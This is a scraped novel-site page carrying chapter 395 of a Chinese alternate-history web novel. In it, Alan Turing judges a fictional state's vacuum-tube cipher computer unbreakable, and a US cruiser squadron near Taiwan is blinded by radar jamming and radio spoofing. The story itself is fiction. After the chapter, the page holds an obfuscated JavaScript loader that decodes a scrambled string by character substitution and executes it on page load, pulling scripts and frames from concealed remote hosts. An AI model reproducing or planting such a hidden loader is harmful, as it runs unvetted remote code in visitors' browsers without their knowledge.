首页
第395章 算盘与电子管矩阵
返回
关灯 护眼:关 字号:小

第395章 算盘与电子管矩阵

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第395章算盘与电子管矩阵(第1/2页)
    在亚洲大陆的腹地,大西北的重工业底盘无止境地膨胀,并开始将触角伸向一个前人从未涉足的微观物理维度,电子与信息。
    三月,一场没有硝烟、没有爆炸冲击波,却关乎全球权力分配的信息战,正在大洋两岸的加密与解密机构中进行着最高强度的脑力与算力对撞。
    大不列颠及北爱尔兰联合王国,伦敦以北八十公里,布莱切利庄园。
    这里是盟军最高级别的密码破译中心,代号“X站”。在过去的一年里,这里的数学家和逻辑学家们利用被称为“炸弹”的机电式密码破译机,成功剥离了德国海军恩尼格玛密码机的转子排列规律,在物理层面上掌握了德国U型潜艇在大西洋上的部署坐标。
    这让盟军的情报机构产生了一种自信。
    然而,当美国海军情报局将他们在西太平洋截获的大西北无线电通讯频段数据,装在沉重的铅封保险箱里运到布莱切利庄园时,这种自信被冷酷的数学逻辑彻底粉碎。
    第八号棚屋内,空气中弥漫着潮湿的英国雾气和发热线圈散发的焦糊味。
    数十台巨大的“炸弹”破译机靠墙排列。这些机器内部由成百上千个黄铜转子、继电器和几公里的复杂导线构成。当电机启动时,转子以每秒几十转的速度疯狂旋转,试图通过穷举法,模拟出密码发送端机器的机械状态,从而找出明文与密文之间的对应关系。
    机器发出震耳欲聋的“咔哒咔哒”声,仿佛几万把算盘在同时拨动。
    但今天,这些机器的运转显得徒劳无功。
    剑桥大学国王学院的研究员、盟军首席数学家艾伦·图灵,穿着一件略显褶皱的粗花呢外套,站在一面巨大的黑板前。黑板上写满了矩阵方程、概率分布曲线和冗长的无规律数字序列。
    几名来自美国华盛顿的海军情报官坐在长桌旁,眉头紧锁地看着图灵。
    “图灵先生,我们已经将截获的大西北南海舰队通讯密文,输入到炸弹机中运行了整整七十二小时。”一名美国少校烦躁地敲了敲桌子,“机器测试了超过几百万种机械转子组合,没有任何结果。难道他们的密码机比德国人的恩尼格玛还要复杂十倍吗?”
    图灵没有立刻回答。他咬着一根没有点燃的烟斗,目光死死地盯着黑板上的那些数字。
    “少校,这不是复杂十倍的问题。这是物理维度的错位。”
    图灵转过身,拿起粉笔,在黑板上画了一个传统的机械转子示意图。
    “德国人的密码系统,底层逻辑是机械的。它依靠转子的物理旋转来改变电流的通路。无论转子有多少个,排列组合有多少亿种,它依然是一个有迹可循的周期性机械运动。只要截获的密文足够长,我们就能通过统计学中的频率分析,找到那个机械循环的节点。”
    接着,图灵在黑板的另一侧,画下了一道表示无线电波的连续正弦波,并在上面叠加了杂乱无章的锯齿状波形。
    “但是,西北的加密系统,从我们截获的射频信号特征来看,根本不存在任何机械转子的物理周期性。”
    图灵放下粉笔,语气中透着一种纯粹的学术震撼。
    “他们采用的是一种一次一密的流密码体系。而且,用来生成密钥的乱数序列,表现出了绝对的数学随机性。没有任何重复,没有任何可供追踪的频率波动。”
    “更可怕的是,根据我们的监听日志。他们整个太平洋防区、几十个舰队和航空基地的密码本,每天都在进行同步更换。”
    美国少校愣住了,他作为一个情报官员,深知这在后勤上意味着什么。
    “每天更换?这不可能。这需要每天印刷成千上万本包含几百万个绝对随机数字的密码本,然后通过绝对安全的物理渠道分发给每一艘军舰和每一架飞机。这在物流上是不可实现的。”
    “确实,依靠印刷和人工分发是不可实现的。”图灵点了点头,“所以,他们没有印刷密码本。他们是实时生成的。”
    图灵走到桌前,拿起一份截获的乱码清单。
    “要在几十个节点同步生成绝对随机且一致的密钥序列,他们必须拥有一套基于复杂多项式方程的算法发生器。而要让这个发生器在加密和解密的瞬间,处理成千上万个字符的矩阵变换……”
    图灵闭上眼睛,大脑中快速进行着算力评估。
    “少校。如果我们用布莱切利庄园目前所有的机电式炸弹机,去进行他们每天常规通讯量的加密运算,需要运转整整一年。如果依靠人工,需要十万名熟练的数学家不吃不喝地计算几个月。”
    “而大西北,是在几秒钟内完成这些运算的。”
    这句话如同重锤一般砸在所有美国情报官的心头。
    “你是说……”少校的声音有些发干,“他们掌握了一种超越机电继电器的计算工具?”
    “是的。一种没有机械齿轮、没有物理转子、完全依靠电子在真空中飞行来完成逻辑运算的机器。”图灵的眼中闪过一丝对技术的神往。
    “电子管。他们用成千上万个真空电子管,构建了一个庞大的逻辑门矩阵。电子的移动速度接近光速,这使得这种机器的运算速度,比我们引以为傲的机械算盘,快了成千上万倍。”
    图灵将那份乱码清单扔回桌子上。
    “放弃破译吧,少校。面对这种算力上的降维打击,我们现在的机器,就像是试图用木棍去撬动一辆重型坦克。在物理上是不成立的。”
    情报的本质是对称性。当一方掌握了秒级的电子运算能力,而另一方还停留在机械齿轮的毫秒级时代,密码学上的防线便成了单向透明的玻璃。
    布莱切利庄园的结论,很快通过海底电缆传回了华盛顿五角大楼。
    美国最高统帅部在面对这份报告时,感受到了一种前所未有的战略压迫感。
    大西北不仅在钢铁产量和核物理上展现出了毁灭性的力量,现在,他们甚至在看不见的数学与电子领域,筑起了一道无法穿透的高墙。
    华盛顿需要验证。他们需要知道,这个盘踞在亚洲大陆的庞然大物,其真正的武力控制边界究竟延伸到了大洋的哪个经纬度。
    三月中旬。五角大楼海军作战指挥部。
    一场关于试探大西北底线的闭门会议正在进行。
    海军作战部长金加上将指着一幅巨大的太平洋海图。海图上,日本列岛、朝鲜半岛以及中南半岛的沿海,都被用红色的阴影区域覆盖,那是大西北单方面宣布的“亚洲工业协同区防空与海上识别区”。
    “我们不能容忍一个将西太平洋完全封闭的红色帝国。”金加上将的语气冷硬,“大西北的轰炸机烧毁了日本的八幡制铁所,他们的航母舰队接管了苏门答腊的油田。如果我们在战略上继续退缩,整个远东将彻底沦为他们的内海。”
    “但他们拥有一种能够在九千米高空平飞的四发重型战略轰炸机,以及速度接近音速的无螺旋桨战斗机。我们的舰队一旦进入他们的打击半径,将面临极大的物理风险。”一名参谋提出了警告。
    “我们不是去开战,我们是去进行自由航行。”金加上将纠正道。
    “大西北目前并没有向美国宣战。我们在国际法上依然享有在公海航行的权利。”
    他拿起一根指挥棒,在地图上从菲律宾海向北划出一条航线,直指台湾海峡的南端入口。
    “台湾海峡,是连接南中国海和东海的战略咽喉。大西北的舰队往返苏门答腊和渤海湾,必须经过这里。”
    “派遣一支特混编队,从菲律宾海出发,沿着台湾海峡的中线进行一次战术游弋。打开所有的对空和对海搜索雷达。”
    金加上将下达了指令。
    “我们需要测试他们雷达网的反应速度。我们需要收集他们沿岸无线电通讯的频率波段。我们必须亲眼看一看,那道由电子管和高频微波筑起的无形城墙,到底有多厚。”
    这项代号为春风的试探行动迅速付诸实施。
    美国海军抽调了部署在西南太平洋的第十二特混舰队。编队的核心是两艘排水量一万四千吨的巴尔的摩级重巡洋舰——波士顿号和堪培拉号。这种巡洋舰装备了九门两百零三毫米主炮,并且安装了美国海军最先进的SK型对空搜索雷达和SG型对海搜索雷达。
    伴随护航的,是四艘弗莱彻级驱逐舰。
    这支舰队没有搭载笨重的运输船,以二十八节的高速,在夜色的掩护下,向着北方的敏感海域挺进。
    而在大洋彼岸的亚洲腹地。
    大西北那台被图灵精准预测的电子计算机矩阵,正在以一种冰冷宏大的物理形态,维持着整个东亚电磁频谱的运转。
    西京市北郊。大西北计算科学研究所。
    这里是一个面积超过两个标准篮球场的庞大恒温车间。
    在这个空间里,矗立着四十个高达两点五米、长达三米的黑色金属机柜。这些机柜通过粗大的电缆和冷却管道相互连接,形成了一个巨大的“U”字形阵列。
    这就是大西北第一代通用电子管计算机——昆仑一号。
    它没有屏幕,没有键盘。它的物理构造,是由一万八千个真空电子管、七千个继电器、七万个电阻器和一万个电容器用手工焊接而成的庞大逻辑门电路。
    整个系统的耗电量达到了惊人的一百五十千瓦。
    在机柜运行的瞬间,一万八千个电子管内部的钨灯丝同时通电发热。为了将管内的电子激发出来,阴极的温度必须保持在八百摄氏度以上。这导致整个机器在运转时,就像一座散发着滚滚热浪的小型锅炉房。
    为了带走这些庞大的废热,防止电子管因玻璃外壳熔化而炸裂。车间的顶部安装了两套重型工业级氟利昂制冷压缩机。冰冷的冷风通过机柜下方的地沟强行吹入,穿过密集的电子管阵列,将热量带走,然后再由顶部的回风管抽出。
    同时,为了保证关键电子管的绝对温度控制,甚至采用了一套去离子水闭式循环冷却系统,通过紫铜管道紧贴着那些大功率的开关管。
    在这个庞大的机器迷宫里,日常的维护工作是一项考验体力和耐心的繁重体力活。
    早晨八点。维护技术员李明穿着一套轻薄的纯棉工作服,手里拿着一块机械万用表,开始了他一天的巡检路线。
    昆仑一号在执行复杂的密码矩阵运算时,电子管的损耗率极高。这些灯丝在高温和高压的不断冲击下,随时可能发生断路或者阴极发射能力衰减。
    李明顺着机柜之间的狭窄过道缓慢前行。耳边是几台大型轴流散热风扇发出的震耳欲聋的轰鸣声,以及数千个继电器在执行指令时发出的密集“咔啦咔啦”的吸合声。
    (本章未完,请点击下一页继续阅读)第395章算盘与电子管矩阵(第2/2页)
    他不需要看图纸,仅仅凭借经验,就能从电子管发出的光芒判断其物理状态。
    正常工作的双三极管,内部会散发出稳定的暗橘红色光芒。如果在管子的顶部出现了明显的蓝紫色幽光,那就意味着这根管子的真空度遭到了破坏,残余气体发生了电离。
    “B-12号机柜,第三层第五列。6SN7双三极电子管,栅极负压异常,屏流偏低。”
    李明将万用表的表笔搭在机柜外侧的测试插孔上,看着表盘上的指针,准确地找出了一个出现性能衰减的元件。
    他从腰间的工具包里拿出一把戴着隔热垫的特制夹具。
    拔下那根滚烫的废旧电子管,随后从口袋里拿出一根由第七特种真空管制造厂刚刚下线的新管子,对准管座的八个插针,稳稳地插了进去。
    随着新管子的灯丝亮起,万用表上的指针恢复到了标准的电压读数。
    李明擦了擦额头上的汗水。在这个地下室里,有几十名像他一样的技术员,实行三班倒的不间断巡检,以保证这台机器每天二十四小时的正常运算。
    在控制大厅。
    操作员将一卷长长的、打满了孔洞的纸带送入光电读取机中。
    一束强光穿透纸带上的孔洞,照射在后方的光电管上。光信号瞬间转化为微弱的电脉冲。
    这就是程序的输入方式。纸带上的每一个孔洞,代表着二进制中的“1”,没有孔洞代表“0”。
    “接收南海舰队气象水文数据,结合伪随机数发生器,开始生成明日太平洋防区全频段动态密钥矩阵。”主操作员在操作日志上写下记录。
    昆仑一号开始全速运转。
    这不是在计算简单的加减乘除,而是在进行复杂的十进制到二进制转换、高次偏微分方程的近似求解,以及对数百万个数字进行非线性的排列组合。
    一万八千个电子管在毫秒级的时间内完成状态的切换。电子在真空中以接近三十万公里的秒速奔跑。
    在没有任何机械齿轮摩擦的情况下,机器以每秒五千次加法或五十次乘法的恐怖算力,碾碎了那些复杂的数学公式。
    十分钟后。
    位于机器尾部的电传打字机开始疯狂地敲击。
    一排排由字母和数字组成的、绝对没有任何规律的乱码被打印在长卷纸上。这些乱码随后将被转换成莫尔斯电码,通过大功率短波发射机,加密发送给部署在太平洋各地的西北军舰、潜艇和雷达站。
    正是这台在地下室里散发着高温和噪音的电子管矩阵,为大西北在亚洲的武力投射,披上了一层任何传统情报机构都无法扒开的电磁隐身衣。
    三月二十日。
    台湾海峡东南入口外侧两百海里。菲律宾海。
    太平洋上的涌浪拍打着美国重巡洋舰波士顿号灰色的舰艏,激起阵阵白色的水花。
    在这艘一万四千吨级巡洋舰高耸的前桅杆顶端,一部SK型对空搜索雷达的巨大网状天线,正在海风中缓缓旋转。
    这是一种工作在两百兆赫兹的预警雷达,代表着美国海军当时的最高电子探测水准。理论上,它能够在一百海里外发现高空飞行的中型轰炸机群。
    舰桥后方的战斗情报中心内,灯光被调成了暗红色,以适应雷达屏幕的荧光。
    雷达兵米勒一等兵坐在SK雷达的A型显示器前。
    与后期圆形的平面位置显示器不同,A型显示器是一个矩形的阴极射线管屏幕。屏幕的底部有一条水平的亮线代表时间,当雷达波遇到目标反射回来时,这条亮线上会突起一个尖峰,也就是波峰。波峰的位置代表距离,高度代表信号的强度。
    米勒盯着那条平稳的基准线。
    舰队的航向是正北,直指台湾海峡。
    “长官。雷达工作正常。目前周围五十海里内空域净空。没有发现目标。”米勒向身后的雷达官汇报。
    “保持警惕。我们已经进入了大西北划定的雷达警戒圈边缘。”雷达官手里端着一杯咖啡,神色凝重。
    舰队继续向前推进。
    当航向跨过北纬二十度线时。
    米勒面前的雷达屏幕,突然出现了一种他从未在训练手册上见过的奇异物理现象。
    原本平滑的水平基准线上,并不是跳出了代表飞机或舰船的独立波峰。
    而是整条基准线,在瞬间被一片密密麻麻、如同杂草般的剧烈波动所覆盖。
    这些杂乱的信号填满了整个屏幕的底部,波峰高度剧烈跳动,完全掩盖了真实的目标回波。
    “这是什么情况?”米勒愣住了,他本能地伸手去调节接收机的增益旋钮,试图过滤掉这些“杂波”。
    但是,无论他如何降低增益,那些杂草依然死死地占据着屏幕。
    不仅是对空搜索的SK雷达。旁边负责操作SG对海搜索雷达的士兵,也发出了惊呼。
    “长官!我的屏幕上全是雪花噪点!什么都看不清!雷达致盲了!”
    雷达官立刻冲到显示器前,看着那些毫无规律的信号波动。
    他一把抢过米勒的头戴式耳机。
    在平时,耳机里只有雷达脉冲发射时的轻微电流声。但现在,耳机里充斥着一种极其刺耳的、类似于尖锐的电锯切割金属时的持续高频啸叫声。
    “该死!这不是设备故障。这是主动电子干扰!”雷达官的脸色瞬间变得惨白,他在进入海军服役前曾是麻省理工学院的无线电工程硕士。
    “他们在对我们进行阻塞式噪音干扰!”
    雷达官冲向与舰桥连接的通话筒。
    “舰长!我们的对空和对海雷达全部遭到大功率宽频电磁干扰,屏幕被杂波覆盖。我们成了瞎子!”
    在波士顿号的舰桥上,舰队指挥官听到这个汇报,心中涌起一股强烈的寒意。
    在传统的海战中,被发现意味着战斗的开始。但在这场电子战中,被干扰意味着你连敌人在哪里都不知道,而敌人已经将你的底裤看穿。
    “干扰源在哪里?能测定方位吗?”舰长厉声问道。
    “无法精确定位。干扰信号的功率极其庞大,至少在千瓦级别。它覆盖了我们雷达工作的所有频段。”雷达官的声音有些发抖。
    在距离美国舰队西方大约一百五十公里外的台湾岛山区。
    一座隐藏在山体内部的西北军大型电子战基站,其天线阵列正处于全功率发射状态。
    基站内部,并没有电子管计算机那种复杂的运算过程。它的物理逻辑非常简单粗暴。
    几台大型宽带噪声发生器,将毫无规律的电磁白噪声,通过高功率行波管放大器放大数万倍后,对准美国舰队的方向,形成一个巨大的电磁波束扇面照射出去。
    这些杂乱的高频电磁波,其强度远远超过了美国雷达自身发射脉冲微弱的反射回波。当这些噪声进入美国雷达的接收天线时,接收机的前置放大电路被瞬间达到饱和过载状态,导致屏幕上只剩下满屏的雪花和杂草。
    这是纯粹的电磁能量碾压。
    但这还不是大西北的全部手段。
    就在美国舰队在电子致盲中不知所措时。
    舰队上方的云层中,传来了一阵微弱的、但极具穿透力的内燃机轰鸣声。
    这声音不是重型轰炸机的低沉咆哮,而是一种高转速的机械运转声。
    在距离舰队西方大约三十公里的空域。
    两架大西北的海东青双发远程侦察机,正以五千米的高度与美国舰队保持着平行伴飞。
    这两架侦察机并没有挂载任何武器,它们的机腹下方,吊挂着一个巨大的流线型天线整流罩。
    这不仅是侦察机,更是大西北早期的空中电子对抗平台。
    机舱内的电子战操作员,看着面前的频谱分析仪。
    “截获美军舰队短波通讯频段。正在进行通讯欺骗。”
    操作员启动了一台变频干扰机。
    在波士顿号的无线电通讯室内。
    通讯兵正在拼命地呼叫几十海里外的僚舰堪培拉号,试图建立战术协同。
    “这里是波士顿号。堪培拉,听到请回答。”
    耳机里传来的,不是堪培拉号的回复,而是一段断断续续的、用带口音的英语播放的旧式交响乐。
    当通讯兵切换频段,试图呼叫护航驱逐舰时,耳机里又变成了刺耳的持续警报声。
    甚至在某个内部战术频道里,通讯兵听到了一段字正腔圆的汉语播报:
    “美国海军第十二特混编队。你们已进入亚洲工业协同区防空识别边缘。你们的航向、航速已被全天候锁定。此频段已被接管。”
    这是一种在神经学层面上的物理摧残。
    美国舰队没有遭到任何实质性的炮火攻击,天空中没有落下炸弹,海面下没有射来鱼雷。
    但是,在这片风平浪静的菲律宾海上,他们感受到了一种比炮火更加令人恐惧的压迫感。
    他们所有的探测器官被粗暴地挖除,所有的交流器官被强行塞入了噪音。他们就像是在一个透明的玻璃罐子里裸奔,而大西北的眼睛,正从四面八方冷酷地注视着他们。
    “保持航向。加强甲板对空瞭望。全体炮手进入战斗位置。”
    波士顿号的舰长下达了命令,但他的手心已经全是冷汗。
    在接下来的几个小时里,美国舰队硬着头皮,沿着台湾海峡的外沿航行了一百多海里。
    这几个小时,对于舰队里的每一个雷达兵和通讯兵来说,都是一场漫长的电磁噩梦。屏幕上的雪花从未消散,耳机里的交响乐和噪音循环播放。
    大西北没有派出任何一艘水面舰艇进行拦截。他们只用几束看不见的电磁波,就在太平洋的经纬度上,划下了一道不可逾越的物理界线。
    当美国舰队在完成象征性的游弋,掉头向东撤离,驶出电磁干扰的覆盖范围时。
    雷达屏幕上的雪花瞬间消失,平稳的基准线重新出现。无线电频道里也恢复了正常的静电底噪。
    但波士顿号上的所有人,都没有感到一丝轻松。
    他们带回华盛顿的,不是大西北舰队的具体坐标,而是一个令人绝望的物理现实:
    大西北已经开始利用电磁波和数学算法,直接摧毁敌人的神经系统了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();